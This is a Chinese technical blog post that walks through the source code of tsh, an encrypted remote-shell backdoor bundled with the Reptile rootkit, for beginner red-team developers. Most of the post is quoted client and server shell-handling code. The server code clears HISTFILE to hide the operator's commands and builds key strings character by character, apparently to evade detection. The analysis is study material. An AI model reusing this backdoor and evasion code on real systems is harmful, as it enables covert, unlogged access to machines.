Tsh源码阅读和分析
tsh是一款轻量级远程shell工具,可在多个平台上编译运行,被集成在较为完善的Linux rootkit Reptile 中
- 其实现了文件传输和真正的交互shell,交互全程用aes和sha1加密
- 代码量比socat小,但很精巧,适合初级红队开发者进行学习
- 本篇的关键在 tty和pty的设置与使用, 其余涉及一点点信号、网络、多进程操作、IO模型会简略提一下
0x00 目录结构
tsh
├── aes.c # aes加密算法实现
├── aes.h # aes头文件
├── ChangeLog
├── Makefile # makefile中带有多种系统的简单编译选项
├── pel.c # packet encrypt layer 报文加密的逻辑实现
├── pel.h # 报文加密头文件
├── README
├── sha1.c # sha1加密算法实现
├── sha1.h # sha1头文件
├── tsh.c # tsh客户端实现
├── tshd.c # tsh服务端实现
└── tsh.h # tsh头文件
0x01 主逻辑分析
为了保证加密传输,作者将加密逻辑抽象出来形成 pel.[ch](packet encrypt layer)
,对外提供4个接口,方便主逻辑调用
int pel_client_init( int server, char *key ); // 初始化client加密
int pel_server_init( int client, char *key ); // 初始化server加密
int pel_send_msg( int sockfd, unsigned char *msg, int length ); // 加密发送消息
int pel_recv_msg( int sockfd, unsigned char *msg, int *length ); // 解密接收消息
0x11 tsh client流程
通过指定参数,支持三种基本功能
- 交互shell
- 获取文件
- 传输文件
- 输入选项可以指定:IP or 反连、端口、密码、获取文件、发送文件,仅输入IP则默认动作(action)为连接远程shell
- 判断主被动连接
- 主动连接,创建socket并bind绑定地址之后,主动使用connect连接远程server。
- 被动连接,创建socket后bind地址,开启listen监听,使用accept等待连接到来
- 连接到来后,先发送密码,若没有设置密码,则使用硬编码于代码中的默认密码,如果错误则需要用户手输,再次错误则认证失败。如果用
-s
设置了密码,错误则直接认证失败 - 发送我们开头设置的动作(action),失败则调用shutdown关闭两端的socket
- 根据我们的action调用不同功能函数,runshell模式中如果设置了命令,则仅执行该命令后便返回
0x12 tshd server流程
tshd_server主流程
- process_init子流程
- 基本参数
- server主流程使用fork,作用是保证进程后台运行,这样我们运行tshd的时候就不用手动加
&
符号令进程后台运行 - while死循环处理到来连接。被动情况下等待client来连接我们,主动情况下如果连接不成功,则会等待5s,再次发起连接。连接成功时连接会交给process_client函数处理
- 在process_client流程中,会使用创建孙进程并退出父、子进程的方法,令孙进程由init进程接管,达到避免出现僵尸进程的效果
/* setup the packet encryption layer */
alarm( 3 );
ret = pel_server_init( client, secret );
if( ret != PEL_SUCCESS )
{
shutdown( client, 2 );
return( 10 );
}
// 这里取消闹钟
alarm( 0 );
- 上面代码中
alarm(3)
的作用是给当前进程设置一个3秒的时钟,如果pel_server_init
处理太慢,则操作系统会发送一个SIGALRM信号中断此进程,达到合理关闭该进程的效果。alarm(0)
的作用是 如果流程正常进行,则取消闹钟
0x02 关键函数分析
- tsh_runshell 客户端
int tsh_runshell( int server, char *argv2 )
{
fd_set rd;
char *term;
int ret, len, imf = 0;
struct winsize ws;
struct termios tp, tr;
/* send the TERM environment variable */
term = getenv( "TERM" );
if( term == NULL )
{
term = "vt100";
}
len = strlen( term );
ret = pel_send_msg( server, (unsigned char *) term, len );
if( ret != PEL_SUCCESS )
{
pel_error( "pel_send_msg" );
return( 22 );
}
// 判断当前文件描述符0是否指的是一个终端,是则返回1
if( isatty( 0 ) )
{
// 交互shell模式
imf = 1;
// ioctl能够对不同设备进行操作
// 这里是获取终端设备的窗口大小保存在ws中,用于传输给server
if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 )
{
perror( "ioctl(TIOCGWINSZ)" );
return( 23 );
}
}
else
{
// 默认窗口大小
ws.ws_row = 25;
ws.ws_col = 80;
}
// 把窗口大小数据填充到前四个char类型中,发给server处理
message[0] = ( ws.ws_row >> 8 ) & 0xFF;
message[1] = ( ws.ws_row ) & 0xFF;
message[2] = ( ws.ws_col >> 8 ) & 0xFF;
message[3] = ( ws.ws_col ) & 0xFF;
ret = pel_send_msg( server, message, 4 );
if( ret != PEL_SUCCESS )
{
pel_error( "pel_send_msg" );
return( 24 );
}
/* send the system command */
len = strlen( argv2 );
ret = pel_send_msg( server, (unsigned char *) argv2, len );
if( ret != PEL_SUCCESS )
{
pel_error( "pel_send_msg" );
return( 25 );
}
/* set the tty to RAW */
// 判断文件描述符 1是否为tty
if( isatty( 1 ) )
{
// 获取文件描述符 1的属性,存储到tp中,以便后期还原
if( tcgetattr( 1, &tp ) < 0 )
{
perror( "tcgetattr" );
return( 26 );
}
// 把tp拷贝到tr中,我们后续修改就用tr
memcpy( (void *) &tr, (void *) &tp, sizeof( tr ) );
// 设置terminal属性
tr.c_iflag |= IGNPAR;
tr.c_iflag &= ~(ISTRIP|INLCR|IGNCR|ICRNL|IXON|IXANY|IXOFF);
tr.c_lflag &= ~(ISIG|ICANON|ECHO|ECHOE|ECHOK|ECHONL|IEXTEN);
tr.c_oflag &= ~OPOST;
tr.c_cc[VMIN] = 1;
tr.c_cc[VTIME] = 0;
// 设置文件描述符 1的属性
if( tcsetattr( 1, TCSADRAIN, &tr ) < 0 )
{
perror( "tcsetattr" );
return( 27 );
}
}
// select多路复用模型 收发数据
while( 1 )
{
// 清空rd集合
FD_ZERO( &rd );
if( imf != 0 )
{
// 如果是交互模式,那么把标准输入放到rd集合中
FD_SET( 0, &rd );
}
// 把server标识符放到rd集合中
FD_SET( server, &rd );
// select系统调用
// 当rd中某个被置入的标识符出现可读数据时解除阻塞
if( select( server + 1, &rd, NULL, NULL, NULL ) < 0 )
{
perror( "select" );
ret = 28;
break;
}
// 判断出现可读数据的是否为server标识符
// 处理server返回信息
if( FD_ISSET( server, &rd ) )
{
// 接收server数据
ret = pel_recv_msg( server, message, &len );
if( ret != PEL_SUCCESS )
{
if( pel_errno == PEL_CONN_CLOSED )
{
ret = 0;
}
else
{
pel_error( "pel_recv_msg" );
ret = 29;
}
break;
}
// 将数据写入标准输出标识符(即显示到控制台)
if( write( 1, message, len ) != len )
{
perror( "write" );
ret = 30;
break;
}
}
// 判断出现可读数据的是否为标准输入标识符(即用户输入)
// 处理用户输入
if( imf != 0 && FD_ISSET( 0, &rd ) )
{
// 读取用户的输入到message
len = read( 0, message, BUFSIZE );
if( len == 0 )
{
fprintf( stderr, "stdin: end-of-file\n" );
ret = 31;
break;
}
if( len < 0 )
{
perror( "read" );
ret = 32;
break;
}
// 发送给server
ret = pel_send_msg( server, message, len );
if( ret != PEL_SUCCESS )
{
pel_error( "pel_send_msg" );
ret = 33;
break;
}
}
}
// 恢复之前的terminal数据
if( isatty( 1 ) )
{
tcsetattr( 1, TCSADRAIN, &tp );
}
return( ret );
}
- tshd_runshell 服务端
int tshd_runshell( int client )
{
fd_set rd;
struct winsize ws;
char *slave, *temp, *shell;
int ret, len, pid, pty, tty, n;
// 获取一个伪终端 pseudo-tty
// 这里用宏在编译的时候做了跨平台的处理,实现功能相同,我们当前暂时关心Linux部分
#if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF
// 自动获取一个伪终端,在/dev/pts下最大值 + 1
if( openpty( &pty, &tty, NULL, NULL, NULL ) < 0 )
{
return( 24 );
}
// 获取当前伪终端的完整路径
slave = ttyname( tty );
if( slave == NULL )
{
return( 25 );
}
#else
#if defined IRIX
slave = _getpty( &pty, O_RDWR, 0622, 0 );
if( slave == NULL )
{
return( 26 );
}
tty = open( slave, O_RDWR | O_NOCTTY );
if( tty < 0 )
{
return( 27 );
}
#else
#if defined CYGWIN || defined SUNOS || defined HPUX
pty = open( "/dev/ptmx", O_RDWR | O_NOCTTY );
if( pty < 0 )
{
return( 28 );
}
if( grantpt( pty ) < 0 )
{
return( 29 );
}
if( unlockpt( pty ) < 0 )
{
return( 30 );
}
slave = ptsname( pty );
if( slave == NULL )
{
return( 31 );
}
tty = open( slave, O_RDWR | O_NOCTTY );
if( tty < 0 )
{
return( 32 );
}
#if defined SUNOS || defined HPUX
if( ioctl( tty, I_PUSH, "ptem" ) < 0 )
{
return( 33 );
}
if( ioctl( tty, I_PUSH, "ldterm" ) < 0 )
{
return( 34 );
}
#if defined SUNOS
if( ioctl( tty, I_PUSH, "ttcompat" ) < 0 )
{
return( 35 );
}
#endif
#endif
#endif
#endif
#endif
/* just in case bash is run, kill the history file */
temp = (char *) malloc( 10 );
if( temp == NULL )
{
return( 36 );
}
temp[0] = 'H'; temp[5] = 'I';
temp[1] = 'I'; temp[6] = 'L';
temp[2] = 'S'; temp[7] = 'E';
temp[3] = 'T'; temp[8] = '=';
temp[4] = 'F'; temp[9] = '\0';
// 将环境变量HISTFILE置空,让/root/.bash_history不记录我们的shell操作
putenv( temp );
// 获取client端的Term环境变量
ret = pel_recv_msg( client, message, &len );
if( ret != PEL_SUCCESS )
{
return( 37 );
}
message[len] = '\0';
temp = (char *) malloc( len + 6 );
if( temp == NULL )
{
return( 38 );
}
temp[0] = 'T'; temp[3] = 'M';
temp[1] = 'E'; temp[4] = '=';
temp[2] = 'R';
strncpy( temp + 5, (char *) message, len + 1 );
putenv( temp );
/* 获取terminal的row和col大小 */
ret = pel_recv_msg( client, message, &len );
if( ret != PEL_SUCCESS || len != 4 )
{
return( 39 );
}
ws.ws_row = ( (int) message[0] << 8 ) + (int) message[1];
ws.ws_col = ( (int) message[2] << 8 ) + (int) message[3];
ws.ws_xpixel = 0;
ws.ws_ypixel = 0;
// 设置当前伪终端的宽高
if( ioctl( pty, TIOCSWINSZ, &ws ) < 0 )
{
return( 40 );
}
// 获取client传输的命令
ret = pel_recv_msg( client, message, &len );
if( ret != PEL_SUCCESS )
{
return( 41 );
}
message[len] = '\0';
temp = (char *) malloc( len + 1 );
if( temp == NULL )
{
return( 42 );
}
strncpy( temp, (char *) message, len + 1 );
// fork,使用子进程后台运行shell
pid = fork();
if( pid < 0 )
{
return( 43 );
}
// 子进程用来作为shell
if( pid == 0 )
{
// fork会复制进程内的公有变量,子进程主要是作为后台shell执行命令并返回值给父进程,父进程用来管理pty和client通信,所以这里不需要client和pty
close( client );
close( pty );
// 创建session,新建进程组,防止terminal退出导致进程的死亡
if( setsid() < 0 )
{
return( 44 );
}
/* set controlling tty, to have job control */
#if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF
// 清空tty设置??
if( ioctl( tty, TIOCSCTTY, NULL ) < 0 )
{
return( 45 );
}
#else
#if defined CYGWIN || defined SUNOS || defined IRIX || defined HPUX
{
int fd;
fd = open( slave, O_RDWR );
if( fd < 0 )
{
return( 46 );
}
close( tty );
tty = fd;
}
#endif
#endif
// 将标准输入、输出、错误输出复制到tty中
dup2( tty, 0 );
dup2( tty, 1 );
dup2( tty, 2 );
if( tty > 2 )
{
close( tty );
}
// 命令字符串开辟空间
shell = (char *) malloc( 8 );
if( shell == NULL )
{
return( 47 );
}
// "/bin/sh"
shell[0] = '/'; shell[4] = '/';
shell[1] = 'b'; shell[5] = 's';
shell[2] = 'i'; shell[6] = 'h';
shell[3] = 'n'; shell[7] = '\0';
// 当前子进程装载为/bin/sh shell
execl( shell, shell + 5, "-c", temp, (char *) 0 );
/* d0h, this shouldn't happen */
return( 48 );
}
else // 父进程,接收消息给后台sh作为转发
{
/* tty (slave side) not needed anymore */
close( tty );
// select多路复用模型 收发数据
while( 1 )
{
FD_ZERO( &rd );
FD_SET( client, &rd );
FD_SET( pty, &rd );
n = ( pty > client ) ? pty : client;
if( select( n + 1, &rd, NULL, NULL, NULL ) < 0 )
{
return( 49 );
}
// 父进程接收来自client消息
if( FD_ISSET( client, &rd ) )
{
ret = pel_recv_msg( client, message, &len );
if( ret != PEL_SUCCESS )
{
return( 50 );
}
// 直接把收到的消息写给pty
if( write( pty, message, len ) != len )
{
return( 51 );
}
}
// sh有消息写给父进程,那么父进程直接把消息发送给client
if( FD_ISSET( pty, &rd ) )
{
// 从pty拿到后台tty执行命令后的返回值
len = read( pty, message, BUFSIZE );
if( len == 0 ) break;
if( len < 0 )
{
return( 52 );
}
// 发送给client
ret = pel_send_msg( client, message, len );
if( ret != PEL_SUCCESS )
{
return( 53 );
}
}
}
return( 54 );
}
/* not reached */
return( 55 );
}
0x03 技术分析
0x31 pty 与 tty 数据传导
- 相当于建立了管道连接
0x32 select IO多路复用模型
- select多路复用模型是Linux中三种多路复用模型之一
- 主要采取轮询文件标识符集合的模式,来达到高效率io目的
- 主要适用于少量且活性高的标识符
- select可以设置读、写、异常集合
- 这里使用的目的:使用单线程来完成多个并发连接请求
- 其实也能够用多线程来处理,即每次来一个连接请求,我们就开启一个线程去处理后续逻辑
- tsh的做法:一开始清空集合,然后将需要的文件标识符放入读集合中,再调用select同时设置最大文件标识符,这样select会在0~Max之间遍历所有标识符
- 当读集合中某个fd存在事件,那么select系统调用将会返回
- 然后使用FD_ISSET,判断事件集合中本次存在事件的标识符具体是哪一个,处理其后续逻辑
0x0 总结
- 宏的使用,做到跨平台,Linux系统编程基本操作
- 使用孙进程,避免出现僵尸进程
- tty和pty的使用做到了真正的交互shell
- 这里说一下python shell,其连接后使用
pty.spawn("/bin/bash")
交互shell其实依然为某种程度哑shell,无法完成某些高交互进程(如:vim)的使用,需要进一步升级
- 这里说一下python shell,其连接后使用
- 设置窗口大小,控制返回值窗口
- 存在bug,输入
./tshd asdf
后台会一直创建进程,最终跑死机器
0x0 参考资料
[2] What’s the difference between various $TERM variables?
[3] 理解 Linux 中的 tty、pty、pts、console、terminal
[4] Why do I need to run “/bin/bash —login”